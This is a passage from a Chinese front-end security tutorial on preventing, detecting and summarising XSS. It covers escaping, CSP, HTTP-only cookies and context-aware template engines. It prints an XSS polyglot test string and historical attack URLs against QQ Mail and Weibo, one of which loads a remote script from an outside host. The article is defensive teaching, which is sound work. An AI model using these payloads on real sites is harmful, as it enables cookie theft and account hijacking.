location、onclick、onerror、onload、onmouseover 等，<a> 标签的 href 属性，JavaScript 的 eval()、setTimeout()、setInterval() 等，都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API，很容易产生安全隐患，请务必避免。<!– 内联事件监听器中包含恶意代码 –><img onclick=“UNTRUSTED” onerror=“UNTRUSTED” src=“data:image/png,"><!– 链接内包含恶意代码 –><a href=“UNTRUSTED”>1</a><script>// setTimeout()/setInterval() 中调用恶意代码setTimeout(“UNTRUSTED”)setInterval(“UNTRUSTED”)// location 调用恶意代码location.href = ‘UNTRUSTED’// eval() 中调用恶意代码eval(“UNTRUSTED”)</script>如果项目中有用到这些的话，一定要避免在字符串中拼接不可信数据。其他 XSS 防范措施虽然在渲染页面和执行 JavaScript 时，通过谨慎的转义可以防止 XSS 的发生，但完全依靠开发的谨慎仍然是不够的。以下介绍一些通用的方案，可以降低 XSS 带来的风险和后果。Content Security Policy严格的 CSP 在 XSS 的防范中可以起到以下的作用：禁止加载外域代码，防止复杂的攻击逻辑。禁止外域提交，网站被攻击后，用户的数据不会泄露到外域。禁止内联脚本执行（规则较严格，目前发现 GitHub 使用）。禁止未授权的脚本执行（新特性，Google Map 移动版在使用）。合理使用上报可以及时发现 XSS，利于尽快修复问题。关于 CSP 的详情，请关注前端安全系列后续的文章。输入内容长度控制对于不受信任的输入，都应该限定一个合理的长度。虽然无法完全防止 XSS 发生，但可以增加 XSS 攻击的难度。其他安全措施HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie，攻击者完成 XSS 注入后也无法窃取此 Cookie。验证码：防止脚本冒充用户提交危险操作。XSS 的检测上述经历让小明收获颇丰，他也学会了如何去预防和修复 XSS 漏洞，在日常开发中也具备了相关的安全意识。但对于已经上线的代码，如何去检测其中有没有 XSS 漏洞呢？经过一番搜索，小明找到了两个方法：使用通用 XSS 攻击字符串手动检测 XSS 漏洞。使用扫描工具自动检测 XSS 漏洞。在Unleashing an Ultimate XSS Polyglot一文中，小明发现了这么一个字符串：jaVasCript:/-//*\/’/”//(/* /oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/–!>\x3csVg/<sVg/oNloAd=alert()//>\x3e它能够检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文中的 XSS 漏洞，也能检测 eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write() 等 DOM 型 XSS 漏洞，并且能绕过一些 XSS 过滤器。小明只要在网站的各输入框中提交这个字符串，或者把它拼接到 URL 参数上，就可以进行检测了。http://xxx/search?keyword=jaVasCript%3A%2F-%2F*%60%2F*%60%2F*%27%2F*%22%2F%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F–!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E除了手动检测之外，还可以使用自动扫描工具寻找 XSS 漏洞，例如 Arachni、Mozilla HTTP Observatory、w3af 等。XSS 攻击的总结我们回到最开始提出的问题，相信同学们已经有了答案：XSS 防范是后端 RD 的责任，后端 RD 应该在所有用户提交数据的接口，对敏感字符进行转义，才能进行下一步操作。不正确。因为：防范存储型和反射型 XSS 是后端 RD 的责任。而 DOM 型 XSS 攻击不发生在后端，是前端 RD 的责任。防范 XSS 是需要后端 RD 和前端 RD 共同参与的系统工程。转义应该在输出 HTML 时进行，而不是在提交用户输入时。所有要插入到页面上的数据，都要通过一个敏感字符过滤函数的转义，过滤掉通用的敏感字符后，就可以插入到页面中。不正确。不同的上下文，如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等，所需要的转义规则不一致。业务 RD 需要选取合适的转义库，并针对不同的上下文调用不同的转义规则。整体的 XSS 防范是非常复杂和繁琐的，我们不仅需要在全部需要转义的位置，对数据进行对应的转义。而且要防止多余和错误的转义，避免正常的用户输入出现乱码。虽然很难通过技术手段完全避免 XSS，但我们可以总结以下原则减少漏洞的产生：利用模板引擎开启模板引擎自带的 HTML 转义功能。例如：在 ejs 中，尽量使用 <%= data %> 而不是 <%- data %>；在 doT.js 中，尽量使用 {{! data } 而不是 {{= data }；在 FreeMarker 中，确保引擎版本高于 2.3.24，并且选择正确的 freemarker.core.OutputFormat。避免内联事件尽量不要使用 onLoad=“onload(’{{data}}’)"、onClick=“go(’{{action}}’)” 这种拼接内联事件的写法。在 JavaScript 中通过 .addEventlistener() 事件绑定会更安全。避免拼接 HTML前端采用拼接 HTML 的方法比较危险，如果框架允许，使用 createElement、setAttribute 之类的方法实现。或者采用比较成熟的渲染框架，如 Vue/React 等。时刻保持警惕在插入位置为 DOM 属性、链接等位置时，要打起精神，严加防范。增加攻击难度，降低攻击后果通过 CSP、输入长度配置、接口安全措施等方法，增加攻击的难度，降低攻击的后果。主动检测和发现可使用 XSS 攻击字符串和自动扫描工具寻找潜在的 XSS 漏洞。XSS 攻击案例QQ 邮箱 m.exmail.qq.com 域名反射型 XSS 漏洞攻击者发现 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 这个 URL 的参数 uin、domain 未经转义直接输出到 HTML 中。于是攻击者构建出一个 URL，并引导用户去点击：http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B用户点击这个 URL 时，服务端取出 URL 参数，拼接到 HTML 响应中：<script>getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa”+"&t="+"&d=bbbb”;return false;</script><script>alert(document.cookie)</script>"+”…浏览器接收到响应后就会执行 alert(document.cookie)，攻击者通过 JavaScript 即可窃取当前用户在 QQ 邮箱域名下的 Cookie ，进而危害数据安全。新浪微博名人堂反射型 XSS 漏洞攻击者发现 http://weibo.com/pub/star/g/xyyyd 这个 URL 的内容未经过滤直接输出到 HTML 中。于是攻击者构建出一个 URL，然后诱导用户去点击：http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>用户点击这个 URL 时，服务端取出请求 URL，拼接到 HTML 响应中：<li><a href=“http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>">按分类检索</a></li>浏览器接收到响应后就会加载执行恶意脚本 //xxxx.cn/image/t.js，在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作，发出的微博和私信可再带上攻击 URL，诱导更多人点击，不断放大攻击范围。这种窃用受害者身份发布恶意内容，层层放大攻击范围的方式，被称为“XSS 蠕虫”。扩展阅读：Automatic Context-Aware Escaping上文我们说到：合适的 HTML 转义可以有效避免 XSS 漏洞。完善的转义库需要针对上下文制定多种规则，例如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等等。业务 RD 需要根据每个插入点所处的上下文，选取不同的转义规则。通常，转义库是不能判断插入点上下文的（Not Context-Aware），实施转义规则的责任就落到了业务 RD 身上，需要每个业务 RD 都充分理解 XSS 的各种情况，并且需要保证每一个插入点使用了正确的转义规则。这种机制工作量大，全靠人工保证，很容易造成 XSS 漏洞，安全人员也很难发现隐患。2009年，Google 提出了一个概念叫做：Automatic Context-Aware Escaping。所谓 Context-Aware，就是说模板引擎在解析模板字符串的时候，就解析模板语法，分析出每个插入点所处的上下文，据此自动选用不同的转义规则。这样就减轻了业务 RD 的工作负担，也减少了人为带来的疏漏。在一个支持 Automatic Context-Aware Escaping 的模板引擎里，业务 RD 可以这样定义模板，而无需手动实施转义规则：<html> <head> <meta charset=“UTF-8”> <title>{{.title}}</title> </head> <body> <a href=”{{.url}}">{{.content}}</a> </body></html>模板引擎经过解析后，得知三个插入点所处的上下文，自动选用相应的转义规则：<html> <head> <meta charset=“UTF-8”> <title>{{.title | htmlescaper}}</title> </head> <body> <a href="{{.url | urlescaper | attrescaper}}">{{.content | htmlescaper}}</a> </body></html>目前已经支持 Automatic Context-Aware Escaping 的模板引擎有：go html/templateGoogle Closure Templates课后作业：XSS 攻击小游戏以下是几个 XSS 攻击小游戏，开发者在网站上故意留下了一些常见的 XSS 漏洞。玩家在网页上提交相应的输入，完成 XSS 攻击即可通关。在玩游戏的过程中，请各位读者仔细思考和回顾本文内容，加深对 XSS 攻击的理解。alert(1) to winprompt(1) to winXSS game参考文献Wikipedia. Cross-site scripting, Wikipedia.OWASP. XSS (Cross Site Scripting) Prevention Cheat Sheet_Prevention_Cheat_Sheet), OWASP.OWASP. Use the OWASP Java Encoder-Use-the-OWASP-Java-Encoder), GitHub.Ahmed Elsobky. Unleashing an Ultimate XSS Polyglot, GitHub.Jad S. Boutros. Reducing XSS by way of Automatic Context-Aware Escaping in Template Systems, Google Security Blog.Vue.js. v-html - Vue API docs, Vue.js.React. dangerouslySetInnerHTML - DOM Elements, React.下期预告前端安全系列文章将对 XSS、CSRF、网络劫持、Hybrid 安全等安全议题展开论述。下期我们要讨论的是 CSRF 攻击，敬请关注。作者介绍李阳，美团点评前端工程师。2016年加入美团点评，负责美团外卖 Hybrid 页面性能优化相关工作。 ...